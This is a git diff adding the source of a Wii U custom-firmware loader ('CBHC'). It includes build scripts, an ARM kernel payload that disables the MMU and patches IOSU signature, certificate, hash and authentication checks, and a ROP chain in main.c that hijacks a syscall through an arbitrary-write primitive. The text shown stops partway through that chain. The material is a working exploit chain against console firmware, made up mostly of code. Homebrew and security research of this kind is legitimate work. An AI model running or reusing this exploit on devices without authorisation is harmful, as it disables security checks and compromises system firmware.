diff --git a/Build_CBHC.bat b/Build_CBHC.bat new file mode 100644 index 0000000..c5dd8e6 --- /dev/null +++ b/Build_CBHC.bat @@ -0,0 +1,20 @@ +@echo off + +cd installer +mkdir data 2>/nul +cd ../dsrom +echo. +echo Building DS ROMs +echo. +make clean +make Windows_NT=1 CB=1 + +cd ../installer +echo. +echo Building WiiU Installer +echo. +make clean +make CB=1 + +echo. +pause diff --git a/dsrom/CBHC/Makefile b/dsrom/CBHC/Makefile new file mode 100644 index 0000000..d460d79 --- /dev/null +++ b/dsrom/CBHC/Makefile @@ -0,0 +1,44 @@ +PATH := $(DEVKITPPC)/bin:$(PATH) +PREFIX ?= powerpc-eabi- +CC = $(PREFIX)gcc +AS = $(PREFIX)gcc +CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include +ASFLAGS = -mregnames -x assembler-with-cpp +LD = $(PREFIX)ld +OBJCOPY = $(PREFIX)objcopy +LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc +OBJDUMP ?= $(PREFIX)objdump +project := . +root := $(CURDIR) +build := $(root)/bin + +FIRMWARE = 550 + +all: clean setup main + +$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/arm_user_bin.h + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile + @-mkdir -p $(CURDIR)/payload + @cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@ + +$(CURDIR)/payload/arm_user_bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile + @-mkdir -p $(CURDIR)/payload + @cp -p $(CURDIR)/arm_user/arm_user_bin.h $@ + +setup: + mkdir -p $(root)/bin/ + +main: $(CURDIR)/payload/arm_kernel_bin.h + $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c + $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S + cp -r $(root)/*.o $(build) + rm $(root)/*.o + $(LD) -o CBHC.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map CBHC.map + $(OBJCOPY) CBHC.elf -S -O binary ../CBHC.bin + +clean: + rm -rf $(build) payload + rm -rf CBHC.elf CBHC.map + $(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean + $(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean diff --git a/dsrom/CBHC/README b/dsrom/CBHC/README new file mode 100644 index 0000000..2dbcc78 --- /dev/null +++ b/dsrom/CBHC/README @@ -0,0 +1,2 @@ +This is a modified version of cfw booter which can be found here: +https://github.com/dimok789/cfw_booter \ No newline at end of file diff --git a/dsrom/CBHC/arm_kernel/Makefile b/dsrom/CBHC/arm_kernel/Makefile new file mode 100644 index 0000000..54df575 --- /dev/null +++ b/dsrom/CBHC/arm_kernel/Makefile @@ -0,0 +1,71 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ + +$(PROJECTNAME).elf: $(OFILES) + $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) + +clean: + @rm -rf build + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) diff --git a/dsrom/CBHC/arm_kernel/link.ld b/dsrom/CBHC/arm_kernel/link.ld new file mode 100644 index 0000000..c28ba4a --- /dev/null +++ b/dsrom/CBHC/arm_kernel/link.ld @@ -0,0 +1,18 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00 +} + +SECTIONS +{ + .text : ALIGN(0x100) { + build/crt0.o(.init) + *(.text) + } + .rodata : { + *(.rodata*) + } +} + diff --git a/dsrom/CBHC/arm_kernel/source/crt0.s b/dsrom/CBHC/arm_kernel/source/crt0.s new file mode 100644 index 0000000..ae2a3b1 --- /dev/null +++ b/dsrom/CBHC/arm_kernel/source/crt0.s @@ -0,0 +1,12 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +.extern memset +.type memset, %function + +_start: + b _main diff --git a/dsrom/CBHC/arm_kernel/source/main.c b/dsrom/CBHC/arm_kernel/source/main.c new file mode 100644 index 0000000..7e2679a --- /dev/null +++ b/dsrom/CBHC/arm_kernel/source/main.c @@ -0,0 +1,163 @@ +#include "types.h" +#include "utils.h" +#include "../../payload/arm_user_bin.h" + +static const char repairData_set_fault_behavior[] = { + 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, + 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, + 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, +}; +static const char repairData_set_panic_behavior[] = { + 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, + 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, + 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, + 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, + 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, + 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, + 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, +}; +static const char repairData_usb_root_thread[] = { + 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, + 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, + 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, + 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, + 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, + 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, + 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, +}; + +/* from smealum's iosuhax: must be placed at 0x05059938 */ +static const char os_launch_hook[] = { + 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, + 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, + 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, + 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, + 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, + 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, + 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, + 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, + 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, +}; + +static const char sd_path[] = "/vol/sdcard"; + +static unsigned int __attribute__((noinline)) disable_mmu(void) +{ + unsigned int control_register = 0; + asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register)); + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA)); + return control_register; +} + +static void __attribute__((noinline)) restore_mmu(unsigned int control_register) +{ + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register)); +} + +int _main() +{ + int(*disable_interrupts)() = (int(*)())0x0812E778; + int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + void(*invalidate_icache)() = (void(*)())0x0812DCF0; + void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; + void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; + char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04; + + flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache + + int level = disable_interrupts(); + + unsigned int control_register = disable_mmu(); + + /* Save the request handle so we can reply later */ + *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; + + /* Patch kernel_error_handler to BX LR immediately */ + *(volatile u32*)0x08129A24 = 0xE12FFF1E; + + void * pset_fault_behavior = (void*)0x081298BC; + kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); + + void * pset_panic_behavior = (void*)0x081296E4; + kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); + + void * pusb_root_thread = (void*)0x10100174; + kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); + + void * pUserBinSource = (void*)0x01E50000; + void * pUserBinDest = (void*)0x101312D0; + kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); + + // fix 10 minute timeout that crashes MCP after 10 minutes of booting + *(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT + + // patch cached cert check + *(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, 0 + *(volatile u32*)(0x05054D70 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr + + // patch cert verification + *(volatile u32*)(0x05052A90 - 0x05000000 + 0x081C0000) = 0xe3a00000; // mov r0, #0 + *(volatile u32*)(0x05052A94 - 0x05000000 + 0x081C0000) = 0xe12fff1e; // bx lr + + // patch MCP authentication check + *(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr + + // patch IOSC_VerifyPubkeySign to always succeed + *(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr + + // patch OS launch sig check + *(volatile u32*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0 + + // patch default title id + *(volatile u32*)(0x050B817C - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70100; + *(volatile u32*)(0x050B8180 - 0x05074000 + 0x08234000) = *(volatile u32*)0x01E70104; + + // allow custom bootLogoTex and bootMovie.h264 + *(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + // allow any region title launch + *(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + // nop out memcmp hash checks + *(volatile u32*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + + //custom fw.img reboot + if(*(volatile u32*)0x01E70120 == 1) + { + int i; + for (i = 0; i < 32; i++) + if (i < 11) + ((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = sd_path[i]; + else + ((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0; + + *(volatile u32*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook + + for (i = 0; i < sizeof(os_launch_hook); i++) + ((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i]; + + // change system.xml to syshax.xml + *(volatile u32*)(0x050600F0 - 0x05060000 + 0x08220000) = 0x79736861; //ysha + *(volatile u32*)(0x050600F4 - 0x05060000 + 0x08220000) = 0x782E786D; //x.xm + + *(volatile u32*)(0x05060114 - 0x05060000 + 0x08220000) = 0x79736861; //ysha + *(volatile u32*)(0x05060118 - 0x05060000 + 0x08220000) = 0x782E786D; //x.xm + } + + *(volatile u32*)(0x1555500) = 0; + + /* REENABLE MMU */ + restore_mmu(control_register); + + invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache + invalidate_icache(); + + enable_interrupts(level); + + return 0; +} diff --git a/dsrom/CBHC/arm_kernel/source/types.h b/dsrom/CBHC/arm_kernel/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/dsrom/CBHC/arm_kernel/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/dsrom/CBHC/arm_kernel/source/utils.c b/dsrom/CBHC/arm_kernel/source/utils.c new file mode 100644 index 0000000..f02ae47 --- /dev/null +++ b/dsrom/CBHC/arm_kernel/source/utils.c @@ -0,0 +1,25 @@ + +void* m_memcpy(void *dst, const void *src, unsigned int len) +{ + const unsigned char *src_ptr = (const unsigned char *)src; + unsigned char *dst_ptr = (unsigned char *)dst; + + while(len) + { + *dst_ptr++ = *src_ptr++; + --len; + } + return dst; +} + +void* m_memset(void *dst, int val, unsigned int bytes) +{ + unsigned char *dst_ptr = (unsigned char *)dst; + unsigned int i = 0; + while(i < bytes) + { + dst_ptr[i] = val; + ++i; + } + return dst; +} diff --git a/dsrom/CBHC/arm_kernel/source/utils.h b/dsrom/CBHC/arm_kernel/source/utils.h new file mode 100644 index 0000000..fd41db2 --- /dev/null +++ b/dsrom/CBHC/arm_kernel/source/utils.h @@ -0,0 +1,7 @@ +#ifndef _UTILS_H_ +#define _UTILS_H_ + +void* m_memcpy(void *dst, const void *src, unsigned int len); +void* m_memset(void *dst, int val, unsigned int len); + +#endif diff --git a/dsrom/CBHC/arm_user/Makefile b/dsrom/CBHC/arm_user/Makefile new file mode 100644 index 0000000..54df575 --- /dev/null +++ b/dsrom/CBHC/arm_user/Makefile @@ -0,0 +1,71 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ + +$(PROJECTNAME).elf: $(OFILES) + $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) + +clean: + @rm -rf build + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) diff --git a/dsrom/CBHC/arm_user/link.ld b/dsrom/CBHC/arm_user/link.ld new file mode 100644 index 0000000..5408355 --- /dev/null +++ b/dsrom/CBHC/arm_user/link.ld @@ -0,0 +1,18 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 +} + +SECTIONS +{ + .text : ALIGN(0x04) { + build/crt0.o(.init) + *(.text) + } + .rodata : { + *(.rodata*) + } +} + diff --git a/dsrom/CBHC/arm_user/source/crt0.s b/dsrom/CBHC/arm_user/source/crt0.s new file mode 100644 index 0000000..b5608cd --- /dev/null +++ b/dsrom/CBHC/arm_user/source/crt0.s @@ -0,0 +1,20 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +.extern memset +.type memset, %function + +_start: + b _main + + .global IOS_DCFlushAllCache +IOS_DCFlushAllCache: + MOV R15, R0 +clean_loop: + MRC p15, 0, r15, c7, c10, 3 + BNE clean_loop + MCR p15, 0, R0, c7, c10, 4 diff --git a/dsrom/CBHC/arm_user/source/main.c b/dsrom/CBHC/arm_user/source/main.c new file mode 100644 index 0000000..6f90ca5 --- /dev/null +++ b/dsrom/CBHC/arm_user/source/main.c @@ -0,0 +1,30 @@ +#include "types.h" +#include "utils.h" + + +void _main() +{ + + void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; + + int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; + + int saved_handle = *(volatile u32*)0x01E10000; + int myret = reply(saved_handle, 0); + if (myret != 0) + ios_shutdown(1); + + // stack pointer will be 0x1016AE30 + // link register will be 0x1012EACC + asm("LDR SP, newsp\n" + "LDR R0, newr0\n" + "LDR LR, newlr\n" + "LDR PC, newpc\n" + "newsp: .word 0x1016AE30\n" + "newlr: .word 0x1012EACC\n" + "newr0: .word 0x10146080\n" + "newpc: .word 0x10111164\n"); + + + +} diff --git a/dsrom/CBHC/arm_user/source/types.h b/dsrom/CBHC/arm_user/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/dsrom/CBHC/arm_user/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/dsrom/CBHC/arm_user/source/utils.c b/dsrom/CBHC/arm_user/source/utils.c new file mode 100644 index 0000000..f02ae47 --- /dev/null +++ b/dsrom/CBHC/arm_user/source/utils.c @@ -0,0 +1,25 @@ + +void* m_memcpy(void *dst, const void *src, unsigned int len) +{ + const unsigned char *src_ptr = (const unsigned char *)src; + unsigned char *dst_ptr = (unsigned char *)dst; + + while(len) + { + *dst_ptr++ = *src_ptr++; + --len; + } + return dst; +} + +void* m_memset(void *dst, int val, unsigned int bytes) +{ + unsigned char *dst_ptr = (unsigned char *)dst; + unsigned int i = 0; + while(i < bytes) + { + dst_ptr[i] = val; + ++i; + } + return dst; +} diff --git a/dsrom/CBHC/arm_user/source/utils.h b/dsrom/CBHC/arm_user/source/utils.h new file mode 100644 index 0000000..fd41db2 --- /dev/null +++ b/dsrom/CBHC/arm_user/source/utils.h @@ -0,0 +1,7 @@ +#ifndef _UTILS_H_ +#define _UTILS_H_ + +void* m_memcpy(void *dst, const void *src, unsigned int len); +void* m_memset(void *dst, int val, unsigned int len); + +#endif diff --git a/dsrom/CBHC/coreinit.h b/dsrom/CBHC/coreinit.h new file mode 100644 index 0000000..cf9943e --- /dev/null +++ b/dsrom/CBHC/coreinit.h @@ -0,0 +1,31 @@ +//Taken from libwiius coreinit.h + +#ifndef COREINIT_H +#define COREINIT_H + +#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) +#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) +#define OSFatal ((void (*)(char* msg))0x01031618) +#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) + +typedef struct OSContext +{ + /* OSContext identifier */ + uint32_t tag1; + uint32_t tag2; + + /* GPRs */ + uint32_t gpr[32]; + + /* Special registers */ + uint32_t cr; + uint32_t lr; + uint32_t ctr; + uint32_t xer; + + /* Initial PC and MSR */ + uint32_t srr0; + uint32_t srr1; +} OSContext; + +#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/CBHC/crt0.S b/dsrom/CBHC/crt0.S new file mode 100644 index 0000000..2ff35ce --- /dev/null +++ b/dsrom/CBHC/crt0.S @@ -0,0 +1,9 @@ + + .extern __main + .globl _start + +_start: + # jump to our main + bl __main + mtlr r3 + blr diff --git a/dsrom/CBHC/main.c b/dsrom/CBHC/main.c new file mode 100644 index 0000000..03987f3 --- /dev/null +++ b/dsrom/CBHC/main.c @@ -0,0 +1,892 @@ +/* + * Copyright (C) 2016 FIX94 + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ +#include +#include "types.h" +#include "coreinit.h" +#include "pad.h" + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE 0x01E20000 +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08134100 +#define REPLACE_SYSCALL 0x081298BC + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "payload/arm_kernel_bin.h" +#include "payload/arm_user_bin.h" + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a 